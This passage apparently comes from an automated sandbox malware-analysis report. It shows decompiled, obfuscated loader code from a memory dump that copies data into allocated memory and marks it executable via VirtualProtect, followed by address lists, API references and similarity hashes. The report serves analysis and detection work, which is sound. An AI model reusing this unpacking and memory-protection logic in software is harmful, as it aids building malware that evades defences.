						_t633 = _v12;
					}
					_v16 = _t569;
					_t589 = _t587 & 0x00000000 | _t569 & 0x00000000 ^ _t633;
					_t572 = _v16;
					if( *(_t572 + 0x41ba3d) == 0) {
						_t540 =  *((intOrPtr*)(_t572 + 0x491c07c))( *((intOrPtr*)(_t572 + 0x41b8cc)), _t633, _t589);
						 *(_t572 + 0x41ba3d) =  *(_t572 + 0x41ba3d) & 0x00000000;
						 *(_t572 + 0x41ba3d) =  *(_t572 + 0x41ba3d) | _t694 & 0x00000000 ^ _t540;
						_t694 = _t694;
						_t633 =  *_t778;
						_t778 = _t778 - 0xfffffffc;
						_pop( *_t234);
						_t589 = (_t589 & 0x00000000) + _v16;
					}
					if(_t694 == _t736) {
						L69:
						_pop( *_t332);
						_t696 = 0 + _v16;
						if( *((intOrPtr*)(_t572 + 0x41bc86)) == 0) {
							_t524 =  *((intOrPtr*)(_t572 + 0x491c074))();
							 *_t778 = _t633;
							 *((intOrPtr*)(_t572 + 0x41bc86)) = _t524;
							_t633 = 0;
						}
						_t697 = _t696 + 0xf8;
						_t739 = _t736;
						_t337 = _t572 + 0x41bc71; // 0x41bc71
						_t495 =  *((intOrPtr*)(_t572 + 0x491c078))(_t337);
						 *(_t572 + 0x41b19b) =  *(_t572 + 0x41b19b) & 0x00000000;
						 *(_t572 + 0x41b19b) =  *(_t572 + 0x41b19b) | _t763 & 0x00000000 ^ _t495;
						_t766 = _t763;
						do {
							_push(_t697);
							if( *(_t572 + 0x41b888) == 0) {
								_t507 =  *((intOrPtr*)(_t572 + 0x491c110))(0);
								_push(_t739);
								 *(_t572 + 0x41b888) =  *(_t572 + 0x41b888) & 0x00000000;
								 *(_t572 + 0x41b888) =  *(_t572 + 0x41b888) ^ _t739 -  *_t778 ^ _t507;
							}
							_push(_a4);
							_pop( *_t350);
							_push(_v12);
							_pop(_t740);
							if( *(_t572 + 0x41bcff) == 0) {
								_t506 =  *((intOrPtr*)(_t572 + 0x491c10c))(0, 1);
								_push(_t589);
								 *(_t572 + 0x41bcff) =  *(_t572 + 0x41bcff) & 0x00000000;
								 *(_t572 + 0x41bcff) =  *(_t572 + 0x41bcff) ^ (_t589 & 0x00000000 | _t506);
							}
							_v12 = _t572;
							_t590 =  *(_t697 + 0x10);
							_t572 = _v12;
							if( *((intOrPtr*)(_t572 + 0x41b51d)) == 0) {
								_t362 = _t572 + 0x41b105; // 0x41b105
								_t504 = _t362;
								 *_t504 = 0x30;
								_t505 =  *((intOrPtr*)(_t572 + 0x491c104))(0, _t504, _t590);
								 *_t778 = _t697;
								 *((intOrPtr*)(_t572 + 0x41b51d)) = _t505;
								_t697 = 0;
								_t590 =  *_t778;
								_t778 = _t778 - 0xfffffffc;
							}
							_t739 = _t740 +  *((intOrPtr*)(_t697 + 0x14));
							if( *(_t572 + 0x41b0d9) == 0) {
								_t367 = _t572 + 0x41b000; // 0x41b000
								_t502 = _t367;
								 *_t502 = 0x30;
								_t503 =  *((intOrPtr*)(_t572 + 0x491c104))( *((intOrPtr*)(_t572 + 0x41b20b)), _t502, _t590);
								 *(_t572 + 0x41b0d9) =  *(_t572 + 0x41b0d9) & 0x00000000;
								 *(_t572 + 0x41b0d9) =  *(_t572 + 0x41b0d9) ^ _t697 & 0x00000000 ^ _t503;
								_t697 = _t697;
								_pop( *_t374);
								_t590 = _t590 & 0x00000000 ^ _v16;
							}
							_t698 =  *((intOrPtr*)(_t697 + 0xc));
							if( *(_t572 + 0x41bade) == 0) {
								_t501 =  *((intOrPtr*)(_t572 + 0x491c110))(_t739, _t590);
								 *(_t572 + 0x41bade) =  *(_t572 + 0x41bade) & 0x00000000;
								 *(_t572 + 0x41bade) =  *(_t572 + 0x41bade) | _t739 & 0x00000000 ^ _t501;
								_t739 = _t739;
								_t590 =  *_t778;
								_t778 =  &(_t778[1]);
							}
							_t699 = _t698 +  *(_t572 + 0x41b1df);
							if( *(_t572 + 0x41baea) == 0) {
								_t500 =  *((intOrPtr*)(_t572 + 0x491c10c))( *((intOrPtr*)(_t572 + 0x41b2a3)), 1, _t590);
								 *(_t572 + 0x41baea) =  *(_t572 + 0x41baea) & 0x00000000;
								 *(_t572 + 0x41baea) =  *(_t572 + 0x41baea) | _t633 & 0x00000000 | _t500;
								_t633 = _t633;
								_pop( *_t391);
								_t590 = _v12;
							}
							_t496 = memcpy(_t699, _t739, _t590);
							_t778 =  &(_t778[3]);
							_t589 = 0;
							if( *(_t572 + 0x41b21f) == 0) {
								_t496 =  *((intOrPtr*)(_t572 + 0x491c110))( *((intOrPtr*)(_t572 + 0x41b0e1)));
								_v12 = 0;
								 *(_t572 + 0x41b21f) =  *(_t572 + 0x41b21f) & 0x00000000;
								 *(_t572 + 0x41b21f) =  *(_t572 + 0x41b21f) | 0 ^ _t496;
								_t589 = _v12;
							}
							_pop( *_t402);
							_t703 = 0 ^ _v16;
							if( *(_t572 + 0x41b7cc) == 0) {
								_t496 =  *((intOrPtr*)(_t572 + 0x491c108))();
								 *(_t572 + 0x41b7cc) =  *(_t572 + 0x41b7cc) & 0x00000000;
								 *(_t572 + 0x41b7cc) =  *(_t572 + 0x41b7cc) | _t703 & 0x00000000 | _t496;
								_t703 = _t703;
							}
							_t697 = _t703 + 0x28;
							_t499 = _t496;
							if( *(_t572 + 0x41b0d5) == 0) {
								_t411 = _t572 + 0x41b4e9; // 0x41b4e9
								_t523 = _t411;
								 *_t523 = 0x30;
								_t499 =  *((intOrPtr*)(_t572 + 0x491c104))( *((intOrPtr*)(_t572 + 0x41b72c)), _t523);
								 *(_t572 + 0x41b0d5) =  *(_t572 + 0x41b0d5) & 0x00000000;
								 *(_t572 + 0x41b0d5) =  *(_t572 + 0x41b0d5) | _t633 ^  *_t778 | _t499;
								_t633 = _t633;
							}
							_t418 =  &_v8;
							 *_t418 = _v8 - 1;
						} while ( *_t418 != 0);
						if( *(_t572 + 0x41b172) == 0) {
							_t499 =  *((intOrPtr*)(_t572 + 0x491c100))( *((intOrPtr*)(_t572 + 0x41b894)), 1);
							 *(_t572 + 0x41b172) =  *(_t572 + 0x41b172) & 0x00000000;
							 *(_t572 + 0x41b172) =  *(_t572 + 0x41b172) ^ (_t766 -  *_t778 | _t499);
							_t766 = _t766;
						}
						_t705 =  *_t778;
						_t779 =  &(_t778[1]);
						if( *(_t572 + 0x41b2f3) == 0) {
							_t499 =  *((intOrPtr*)(_t572 + 0x491c10c))( *((intOrPtr*)(_t572 + 0x41b14d)), 1);
							_push(_t766);
							 *(_t572 + 0x41b2f3) =  *(_t572 + 0x41b2f3) & 0x00000000;
							 *(_t572 + 0x41b2f3) =  *(_t572 + 0x41b2f3) ^ (_t766 & 0x00000000 | _t499);
						}
						_v16 = _t572;
						_t509 = _t499 & 0x00000000 | _t572 ^ _v16 ^  *(_t705 + 0x28);
						_t577 = _v16;
						if( *((intOrPtr*)(_t577 + 0x41b451)) == 0) {
							 *_t440 =  *((intOrPtr*)(_t577 + 0x491c10c))(1, _t509);
							_push(_v16);
							_pop( *_t442);
							 *_t443 = 1;
							_t509 = _v12;
						}
						_t446 = _t577 + 0x41b9a7; // 0x41b9a7
						_t512 =  *((intOrPtr*)(_t577 + 0x491c078))(_t509 +  *(_t577 + 0x41b1df));
						 *(_t577 + 0x41b317) =  *(_t577 + 0x41b317) & 0x00000000;
						 *(_t577 + 0x41b317) =  *(_t577 + 0x41b317) | _t739 -  *_t779 | _t512;
						_t746 = _t739;
						 *_t452 = _t446;
						_t514 = _t512 & 0x00000000 ^ _v12;
						_v16 = _t705;
						 *(_t577 + 0x41bb25) =  *(_t577 + 0x41bb25) & 0x00000000;
						 *(_t577 + 0x41bb25) =  *(_t577 + 0x41bb25) | _t705 - _v16 | _t514;
						_t708 = _v16;
						if( *(_t577 + 0x41b0e5) == 0) {
							_t514 =  *((intOrPtr*)(_t577 + 0x491c10c))( *((intOrPtr*)(_t577 + 0x41b45d)), _t708);
							_v16 = _t746;
							 *(_t577 + 0x41b0e5) = 0 ^ _t514;
							_t746 = _v16;
						}
						_v12 = _t514;
						_t748 = _t746 & 0x00000000 ^ _t514 & 0x00000000 ^  *(_t577 + 0x41b1df);
						_t517 = _v12;
						if( *((intOrPtr*)(_t577 + 0x41b5c5)) == 0) {
							_t517 =  *((intOrPtr*)(_t577 + 0x491c07c))(_t633);
							_v16 = _t633;
							 *((intOrPtr*)(_t577 + 0x41b5c5)) = _t517;
						}
						if(_t748 > 0) {
							if( *(_t577 + 0x41bc69) == 0) {
								_t476 = _t577 + 0x41b9ec; // 0x41b9ec
								_t519 = _t476;
								 *_t519 = 0x30;
								_t520 =  *((intOrPtr*)(_t577 + 0x491c104))(0, _t519);
								_v12 = _t589;
								 *(_t577 + 0x41bc69) =  *(_t577 + 0x41bc69) & 0x00000000;
								 *(_t577 + 0x41bc69) =  *(_t577 + 0x41bc69) ^ (_t589 ^ _v12 | _t520);
								_t589 = _v12;
							}
							_t518 = E04B243BB(_t577, _t708, _t748, _t748); // executed
							_t517 = E04B22726(_t518, _t577, _t589, _t708, _t748, _t748);
						}
						return _t517;
					} else {
						if( *(_t572 + 0x41bb64) == 0) {
							_t539 =  *((intOrPtr*)(_t572 + 0x491c0fc))( *((intOrPtr*)(_t572 + 0x41b9c0)), _t633, _t589);
							 *(_t572 + 0x41bb64) =  *(_t572 + 0x41bb64) & 0x00000000;
							 *(_t572 + 0x41bb64) =  *(_t572 + 0x41bb64) | _t589 ^  *_t778 | _t539;
							_t612 = _t589;
							_t633 = _t633 & 0x00000000 ^  *_t778;
							_t778 = _t778 - 0xfffffffc;
							_pop( *_t243);
							_t589 = (_t612 & 0x00000000) + _v16;
						}
						do {
							asm("movsb");
							if( *(_t572 + 0x41b30f) == 0) {
								_t525 =  *((intOrPtr*)(_t572 + 0x491c07c))(_t763, _t633, _t589);
								_v16 = _t633;
								 *(_t572 + 0x41b30f) =  *(_t572 + 0x41b30f) & 0x00000000;
								 *(_t572 + 0x41b30f) =  *(_t572 + 0x41b30f) | _t633 ^ _v16 | _t525;
								_t633 =  *_t778;
								_t782 = _t778 - 0xfffffffc;
								_t589 =  *_t782;
								_t778 =  &(_t782[1]);
							}
							_t589 = _t589 - 1;
						} while (_t589 != 0);
						if( *(_t572 + 0x41b788) == 0) {
							_t538 =  *((intOrPtr*)(_t572 + 0x491c100))( *((intOrPtr*)(_t572 + 0x41b4b5)), 0, _t633);
							_v16 = _t633;
							 *(_t572 + 0x41b788) =  *(_t572 + 0x41b788) & 0x00000000;
							 *(_t572 + 0x41b788) =  *(_t572 + 0x41b788) ^ _t633 ^ _v16 ^ _t538;
							_t633 =  *_t778;
							_t778 = _t778 - 0xfffffffc;
						}
						_t716 = _t694 & 0x00000000 | _t763 & 0x00000000 ^  *(_t572 + 0x41b1df);
						_t763 = _t763;
						if( *(_t572 + 0x41bcc3) == 0) {
							_t537 =  *((intOrPtr*)(_t572 + 0x491c074))(_t633);
							_v12 = _t589;
							 *(_t572 + 0x41bcc3) =  *(_t572 + 0x41bcc3) & 0x00000000;
							 *(_t572 + 0x41bcc3) =  *(_t572 + 0x41bcc3) | _t589 - _v12 ^ _t537;
							_t589 = _v12;
							_t633 = _t633 & 0x00000000 ^  *_t778;
							_t778 =  &(_t778[1]);
						}
						 *(_t572 + 0x41b39c) = 0x40;
						if( *(_t572 + 0x41b4d9) == 0) {
							_t536 =  *((intOrPtr*)(_t572 + 0x491c108))(_t633);
							_v16 = _t589;
							 *(_t572 + 0x41b4d9) =  *(_t572 + 0x41b4d9) & 0x00000000;
							 *(_t572 + 0x41b4d9) =  *(_t572 + 0x41b4d9) ^ (_t589 & 0x00000000 | _t536);
							_t589 = _v16;
							_t633 =  *_t778;
							_t778 = _t778 - 0xfffffffc;
						}
						_t283 = _t572 + 0x41b39c; // 0x41b39c
						_t526 = _t283;
						if( *(_t572 + 0x41bc51) == 0) {
							_t285 = _t572 + 0x41bb34; // 0x41bb34
							_t533 = _t285;
							 *_t533 = 0x30;
							_t534 =  *((intOrPtr*)(_t572 + 0x491c104))( *((intOrPtr*)(_t572 + 0x41b8e4)), _t633, _t526);
							_v16 = _t589;
							 *(_t572 + 0x41bc51) =  *(_t572 + 0x41bc51) & 0x00000000;
							 *(_t572 + 0x41bc51) =  *(_t572 + 0x41bc51) | _t589 & 0x00000000 | _t534;
							_t589 = _v16;
							_pop( *_t294);
							_t633 = (_t633 & 0x00000000) + _v12;
							 *_t296 = _t533;
							_t526 = _t534 & 0x00000000 | _v16;
						}
						_push(_t526);
						if( *(_t572 + 0x41bab5) == 0) {
							_t532 =  *((intOrPtr*)(_t572 + 0x491c07c))( *((intOrPtr*)(_t572 + 0x41b390)), _t633);
							 *(_t572 + 0x41bab5) =  *(_t572 + 0x41bab5) & 0x00000000;
							 *(_t572 + 0x41bab5) =  *(_t572 + 0x41bab5) | _t716 & 0x00000000 ^ _t532;
							_t716 = _t716;
							_pop( *_t305);
							_t633 = 0 + _v16;
						}
						_push(2);
						if( *(_t572 + 0x41b267) == 0) {
							_t531 =  *((intOrPtr*)(_t572 + 0x491c074))(_t633);
							 *(_t572 + 0x41b267) =  *(_t572 + 0x41b267) & 0x00000000;
							 *(_t572 + 0x41b267) =  *(_t572 + 0x41b267) ^ _t763 & 0x00000000 ^ _t531;
							_t763 = _t763;
							_t633 = _t633 & 0x00000000 ^  *_t778;
							_t778 =  &(_t778[1]);
						}
						_push(_t633);
						if( *(_t572 + 0x41b094) == 0) {
							_t530 =  *((intOrPtr*)(_t572 + 0x491c074))();
							_v12 = _t736;
							 *(_t572 + 0x41b094) = 0 ^ _t530;
							_t736 = _v12;
						}
						_push(_t716);
						if( *(_t572 + 0x41b953) == 0) {
							_t529 =  *((intOrPtr*)(_t572 + 0x491c074))();
							 *(_t572 + 0x41b953) =  *(_t572 + 0x41b953) & 0x00000000;
							 *(_t572 + 0x41b953) =  *(_t572 + 0x41b953) ^ (_t633 & 0x00000000 | _t529);
							_t633 = _t633; // executed
						}
						VirtualProtect();
						if( *(_t572 + 0x41b541) == 0) {
							_t528 =  *((intOrPtr*)(_t572 + 0x491c0fc))( *((intOrPtr*)(_t572 + 0x41b49c)));
							 *(_t572 + 0x41b541) =  *(_t572 + 0x41b541) & 0x00000000;
							 *(_t572 + 0x41b541) =  *(_t572 + 0x41b541) | _t763 ^  *_t778 ^ _t528;
							_t763 = _t763;
						}
						goto L69;
					}
				}
				if( *(_t563 + 0x41b2f7) == 0) {
					_t562 =  *((intOrPtr*)(_t563 + 0x491c108))(_t626, _t578);
					_v16 = _t626;
					 *(_t563 + 0x41b2f7) = 0 ^ _t562;
					_t626 =  *_t778;
					_t783 = _t778 - 0xfffffffc;
					_t578 =  *_t783;
					_t778 =  &(_t783[1]);
				}
				_t556 =  *((intOrPtr*)(_t563 + 0x491c078))(_t563 + 0x41b414, _t626, _t578);
				 *(_t563 + 0x41bc29) =  *(_t563 + 0x41bc29) & 0x00000000;
				 *(_t563 + 0x41bc29) =  *(_t563 + 0x41bc29) ^ (_t578 & 0x00000000 | _t556);
				_t623 = _t578;
				_pop( *_t23);
				_t671 = 0 + _v16;
				_push(_t671);
				if( *(_t563 + 0x41b421) == 0) {
					_t561 =  *((intOrPtr*)(_t563 + 0x491c0fc))( *((intOrPtr*)(_t563 + 0x41b26b)));
					_v16 = _t731;
					 *(_t563 + 0x41b421) =  *(_t563 + 0x41b421) & 0x00000000;
					 *(_t563 + 0x41b421) =  *(_t563 + 0x41b421) | _t731 & 0x00000000 | _t561;
					_t731 = _v16;
				}
				_push( *((intOrPtr*)(_t563 + 0x41b9b3)));
				if( *(_t563 + 0x41bc49) == 0) {
					_t560 =  *((intOrPtr*)(_t563 + 0x491c0fc))(0);
					_v16 = _t671;
					 *(_t563 + 0x41bc49) =  *(_t563 + 0x41bc49) & 0x00000000;
					 *(_t563 + 0x41bc49) =  *(_t563 + 0x41bc49) ^ (_t671 - _v16 | _t560);
					_t671 = _v16;
				}
				_t485 =  *((intOrPtr*)(_t563 + 0x491c0fc))();
				if( *((intOrPtr*)(_t563 + 0x41b8f4)) == 0) {
					_t558 =  *((intOrPtr*)(_t563 + 0x491c108))();
					_v16 = _t731;
					 *((intOrPtr*)(_t563 + 0x41b8f4)) = _t558;
					_t731 = _v16;
					 *_t50 = _t485;
					_t485 = _v12;
				}
				 *(_t563 + 0x41bb0e) =  *(_t563 + 0x41bb0e) & 0x00000000;
				 *(_t563 + 0x41bb0e) =  *(_t563 + 0x41bb0e) ^ _t671 & 0x00000000 ^ _t485;
				_t674 = _t671;
				if( *(_t563 + 0x41b780) == 0) {
					_t485 =  *((intOrPtr*)(_t563 + 0x491c07c))(0);
					 *(_t563 + 0x41b780) =  *(_t563 + 0x41b780) & 0x00000000;
					 *(_t563 + 0x41b780) =  *(_t563 + 0x41b780) | _t688 & 0x00000000 ^ _t485;
					_t688 = _t688;
				}
				_pop( *_t62);
				_t626 = _t674 & 0x00000000 ^ _v12;
				if( *(_t563 + 0x41b9cc) == 0) {
					_t485 =  *((intOrPtr*)(_t563 + 0x491c100))( *((intOrPtr*)(_t563 + 0x41b182)), _t731, _t626);
					_v16 = _t731;
					 *(_t563 + 0x41b9cc) =  *(_t563 + 0x41b9cc) & 0x00000000;
					 *(_t563 + 0x41b9cc) =  *(_t563 + 0x41b9cc) | _t731 & 0x00000000 ^ _t485;
					_t731 = _v16;
					_pop( *_t73);
					_t626 = (_t626 & 0x00000000) + _v16;
				}
				_t578 = (_t623 & 0x00000000) +  *_t778;
				_t778 = _t778 - 0xfffffffc;
				if( *(_t563 + 0x41b714) == 0) {
					_t557 = _t563 + 0x41b273;
					 *_t557 = 0x30;
					_t485 =  *((intOrPtr*)(_t563 + 0x491c104))( *((intOrPtr*)(_t563 + 0x41b4c1)), _t626, _t578);
					_v16 = _t626;
					 *(_t563 + 0x41b714) =  *(_t563 + 0x41b714) & 0x00000000;
					 *(_t563 + 0x41b714) =  *(_t563 + 0x41b714) | _t626 - _v16 | _t485;
					_pop( *_t86);
					_t626 = _v16;
					 *_t88 = _t557;
					_t578 = _v16;
				}
				goto L17;
			}

0x04b228a5
0x04b228a5
0x04b228a5
0x04b228a5
0x04b228a5
0x04b228b2
0x04b228b4
0x04b228b5
0x04b228b6
0x04b228be
0x04b228c5
0x04b228c8
0x04b228cb
0x04b228d3
0x04b228d6
0x04b228d9
0x04b228dc
0x04b228dc
0x04b228e6
0x04b22aad
0x04b22aad
0x04b22ab5
0x04b22ac4
0x04b22acb
0x04b22ace
0x04b22ad1
0x04b22add
0x04b22ae0
0x04b22ae0
0x04b22aea
0x04b22af7
0x04b22afc
0x04b22b02
0x04b22b0a
0x04b22b11
0x04b22b17
0x04b22b1a
0x04b22b1d
0x04b22b1d
0x04b22b20
0x04b22b28
0x04b22b30
0x04b22b36
0x04b22b3e
0x04b22b45
0x04b22b4b
0x04b22b4b
0x04b22b4e
0x04b22b54
0x04b22b5c
0x04b22b63
0x04b22b69
0x04b22b6e
0x04b22b71
0x04b22b71
0x04b22b74
0x04b22b7c
0x04b22b85
0x04b22b8b
0x04b22b93
0x04b22b9a
0x04b22ba0
0x04b22ba0
0x04b22bad
0x04b22baf
0x04b22bb7
0x04b22bbb
0x04b22bc1
0x04b22bc9
0x04b22bd0
0x04b22bd6
0x04b22bdf
0x04b22be2
0x04b22be2
0x04b22be5
0x04b22bef
0x04b22bfa
0x04b22bfd
0x04b22c00
0x04b22c08
0x04b22c0b
0x04b22c0b
0x04b22c0e
0x04b22c16
0x04b22c26
0x04b22c29
0x04b22c2c
0x04b22c34
0x04b22c37
0x04b22c37
0x04b22c43
0x04b22c45
0x04b22c4d
0x04b22c4f
0x04b22c5b
0x04b22c62
0x04b22c68
0x04b22c68
0x04b22c69
0x04b22c74
0x04b22c7c
0x04b22c82
0x04b22c8a
0x04b22c91
0x04b22c97
0x04b22c9c
0x04b22c9f
0x04b22c9f
0x04b22ca8
0x04b22cac
0x04b22caf
0x04b22cb7
0x04b22cbe
0x04b22cc4
0x04b22ccb
0x04b22cd1
0x04b22cd1
0x04b22cdc
0x04b22ce2
0x04b22cea
0x04b22cf1
0x04b22cf7
0x04b22cfa
0x04b22d06
0x04b22d08
0x04b22d13
0x04b22d1b
0x04b22d22
0x04b22d28
0x04b22d2f
0x04b22d35
0x04b22d40
0x04b22d42
0x04b22d4c
0x04b22d55
0x04b22d5d
0x04b22d64
0x04b22d6a
0x04b22d6d
0x04b22d70
0x04b22d70
0x04b22d7d
0x04b22d7f
0x04b22d87
0x04b22d8b
0x04b22d97
0x04b22d9e
0x04b22da4
0x04b22da7
0x04b22daa
0x04b22daa
0x04b22dad
0x04b22db8
0x04b22dba
0x04b22dc4
0x04b22dce
0x04b22dda
0x04b22de1
0x04b22de7
0x04b22dea
0x04b22ded
0x04b22df6
0x04b22df9
0x04b22df9
0x04b22dfe
0x04b2306d
0x04b2306f
0x04b23072
0x04b2307c
0x04b2307e
0x04b23086
0x04b2308d
0x04b23093
0x04b23093
0x04b2309d
0x04b2309f
0x04b230a0
0x04b230a7
0x04b230b3
0x04b230ba
0x04b230c0
0x04b230c1
0x04b230c1
0x04b230c9
0x04b230cd
0x04b230d3
0x04b230d9
0x04b230e0
0x04b230e6
0x04b230e7
0x04b230ea
0x04b230ed
0x04b230f0
0x04b230f8
0x04b230fe
0x04b23104
0x04b2310a
0x04b23111
0x04b23117
0x04b23118
0x04b23120
0x04b23122
0x04b2312c
0x04b2312f
0x04b2312f
0x04b23136
0x04b2313e
0x04b23146
0x04b2314d
0x04b23153
0x04b23156
0x04b23159
0x04b23159
0x04b2315c
0x04b23166
0x04b23169
0x04b23169
0x04b23170
0x04b2317c
0x04b23188
0x04b2318f
0x04b23195
0x04b2319c
0x04b2319f
0x04b2319f
0x04b231a2
0x04b231ac
0x04b231b0
0x04b231bc
0x04b231c3
0x04b231c9
0x04b231d0
0x04b231d3
0x04b231d3
0x04b231d6
0x04b231e3
0x04b231ee
0x04b231fa
0x04b23201
0x04b23207
0x04b23208
0x04b2320b
0x04b2320b
0x04b2320e
0x04b2320e
0x04b2320e
0x04b23217
0x04b2321f
0x04b23225
0x04b2322d
0x04b23234
0x04b2323a
0x04b2323a
0x04b2323f
0x04b23242
0x04b2324c
0x04b2324e
0x04b2325a
0x04b23261
0x04b23267
0x04b23267
0x04b23271
0x04b23273
0x04b2327b
0x04b2327d
0x04b2327d
0x04b23284
0x04b23290
0x04b2329c
0x04b232a3
0x04b232a9
0x04b232a9
0x04b232aa
0x04b232aa
0x04b232aa
0x04b232ba
0x04b232c4
0x04b232d0
0x04b232d7
0x04b232dd
0x04b232dd
0x04b232e0
0x04b232e3
0x04b232ed
0x04b232f7
0x04b232fd
0x04b23303
0x04b2330a
0x04b23310
0x04b23311
0x04b2331d
0x04b2331f
0x04b23329
0x04b23337
0x04b2333a
0x04b2333d
0x04b23345
0x04b23348
0x04b23348
0x04b23352
0x04b23359
0x04b23365
0x04b2336c
0x04b23372
0x04b23379
0x04b2337c
0x04b2337f
0x04b23387
0x04b2338e
0x04b23394
0x04b2339e
0x04b233a7
0x04b233ad
0x04b233b4
0x04b233ba
0x04b233ba
0x04b233bd
0x04b233cc
0x04b233ce
0x04b233d8
0x04b233db
0x04b233e1
0x04b233e8
0x04b233ee
0x04b233f4
0x04b233fd
0x04b233ff
0x04b233ff
0x04b23406
0x04b2340e
0x04b23414
0x04b2341c
0x04b23423
0x04b23429
0x04b23429
0x04b2342d
0x04b23433
0x04b23433
0x04b23449
0x04b22e04
0x04b22e0b
0x04b22e15
0x04b22e21
0x04b22e28
0x04b22e2e
0x04b22e35
0x04b22e38
0x04b22e41
0x04b22e44
0x04b22e44
0x04b22e47
0x04b22e47
0x04b22e4f
0x04b22e54
0x04b22e5a
0x04b22e62
0x04b22e69
0x04b22e74
0x04b22e77
0x04b22e7c
0x04b22e7f
0x04b22e7f
0x04b22e82
0x04b22e82
0x04b22e8c
0x04b22e97
0x04b22e9d
0x04b22ea5
0x04b22eac
0x04b22eb7
0x04b22eba
0x04b22eba
0x04b22eca
0x04b22ecc
0x04b22ed4
0x04b22ed7
0x04b22edd
0x04b22ee5
0x04b22eec
0x04b22ef2
0x04b22efb
0x04b22efe
0x04b22efe
0x04b22f01
0x04b22f12
0x04b22f15
0x04b22f1b
0x04b22f23
0x04b22f2a
0x04b22f30
0x04b22f35
0x04b22f38
0x04b22f38
0x04b22f3b
0x04b22f3b
0x04b22f48
0x04b22f4c
0x04b22f4c
0x04b22f53
0x04b22f5f
0x04b22f65
0x04b22f6d
0x04b22f74
0x04b22f7a
0x04b22f83
0x04b22f86
0x04b22f8f
0x04b22f92
0x04b22f92
0x04b22f95
0x04b22f9d
0x04b22fa6
0x04b22fb2
0x04b22fb9
0x04b22fbf
0x04b22fc2
0x04b22fc5
0x04b22fc5
0x04b22fc8
0x04b22fd1
0x04b22fd4
0x04b22fe0
0x04b22fe7
0x04b22fed
0x04b22ff4
0x04b22ff7
0x04b22ff7
0x04b22ffa
0x04b23002
0x04b23004
0x04b2300a
0x04b23011
0x04b23017
0x04b23017
0x04b2301a
0x04b23022
0x04b23024
0x04b23030
0x04b23037
0x04b2303d
0x04b2303d
0x04b2303e
0x04b2304b
0x04b23053
0x04b2305f
0x04b23066
0x04b2306c
0x04b2306c
0x00000000
0x04b2304b
0x04b22dfe
0x04b228f3
0x04b228f7
0x04b228fd
0x04b22904
0x04b22913
0x04b22916
0x04b2291b
0x04b2291e
0x04b2291e
0x04b2292a
0x04b22936
0x04b2293d
0x04b22943
0x04b22946
0x04b22949
0x04b2294c
0x04b22954
0x04b2295c
0x04b22962
0x04b2296a
0x04b22971
0x04b22977
0x04b22977
0x04b2297a
0x04b22987
0x04b2298b
0x04b22991
0x04b22999
0x04b229a0
0x04b229a6
0x04b229a6
0x04b229a9
0x04b229b6
0x04b229b9
0x04b229bf
0x04b229c6
0x04b229cc
0x04b229d1
0x04b229d4
0x04b229d4
0x04b229dd
0x04b229e4
0x04b229ea
0x04b229f2
0x04b229f6
0x04b22a02
0x04b22a09
0x04b22a0f
0x04b22a0f
0x04b22a16
0x04b22a19
0x04b22a23
0x04b22a2d
0x04b22a33
0x04b22a3b
0x04b22a42
0x04b22a48
0x04b22a51
0x04b22a54
0x04b22a54
0x04b22a5d
0x04b22a60
0x04b22a6a
0x04b22a6e
0x04b22a75
0x04b22a81
0x04b22a87
0x04b22a8f
0x04b22a96
0x04b22aa1
0x04b22aa4
0x04b22aa7
0x04b22aaa
0x04b22aaa
0x00000000

APIs

VirtualProtect.KERNELBASE(?,00000000,00000002,0041B39C,?,?,?,00000000), ref: 04B2303E

Memory Dump Source

Source File: 00000002.00000002.315647901.0000000004B20000.00000040.00000001.sdmp, Offset: 04B20000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a3e8bb8ea241eb06bef403cea37a63aa8ecc89e511074eeaaacce833b9389a8
Instruction ID: 14d9f01364538feb54fd6bac0e8ea8be24efebc94f2851cc6fb59f105cbc8c2a
Opcode Fuzzy Hash: 8a3e8bb8ea241eb06bef403cea37a63aa8ecc89e511074eeaaacce833b9389a8
Instruction Fuzzy Hash: 66823872940204EFFF04CFA1C989B997BB5FF84315F08C1A9DD599E19ACB781164CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 04B24BC1, Relevance: 1.8, APIs: 1, Instructions: 271libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNELBASE(00000000), ref: 04B24D03

Memory Dump Source

Source File: 00000002.00000002.315647901.0000000004B20000.00000040.00000001.sdmp, Offset: 04B20000, based on PE: true

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 8a3eba13e43ed768acc99f2e52b70a1839d4683b0891f9c8666b9a5f01994b70
Instruction ID: 7e2e136c16b373d2169ae45240e10f10236555b9eae789382cf09553520c1054
Opcode Fuzzy Hash: 8a3eba13e43ed768acc99f2e52b70a1839d4683b0891f9c8666b9a5f01994b70
Instruction Fuzzy Hash: BFC18E32944225DFFF04DFA0C989BEA7BB4FF08311F0885A9ED699E499CB745050CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04B21313, Relevance: 3.1, APIs: 2, Instructions: 77
memoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E04B21313(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __eflags) {
				void* __esi;
				void* _t32;
				signed int _t33;
				int _t34;
				void* _t35;
				void* _t36;
				signed int _t38;
				signed int _t39;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t46;
				signed int _t47;
				signed int _t50;
				signed int _t55;
				signed int _t58;
				void* _t61;
				void* _t62;
				void* _t63;
				signed int _t65;
				signed int _t66;
				void* _t70;
				signed int* _t72;
				signed int* _t73;

				_t58 = __edi;
				_t55 = __edx;
				_t43 = __ecx;
				_t38 = __ebx;
				_t33 = E04B2181E(_t32, __ebx, __ecx, __edi);
				_t65 = _t38 | _t38;
				_t39 = _t65;
				_t66 = _t63;
				if(_t65 != 0) {
					_t33 = VirtualAlloc(0,  *(_t39 + 0x41b098), 0x1000, 4);
				}
				 *_t3 = _t33;
				 *(_t39 + 0x41b39c) = 2;
				 *(_t39 + 0x41b2a7) =  *(_t39 + 0x41b2a7) & 0x00000000;
				 *(_t39 + 0x41b2a7) =  *(_t39 + 0x41b2a7) | _t43 -  *_t72 | _t33;
				_t46 = _t43;
				if( *(_t39 + 0x41b1df) > 0) {
					_t33 = VirtualProtect( *(_t39 + 0x41b1df),  *(_t39 + 0x41bba2), 0x40, _t39 + 0x41b39c);
				}
				if(_t33 != _t39) {
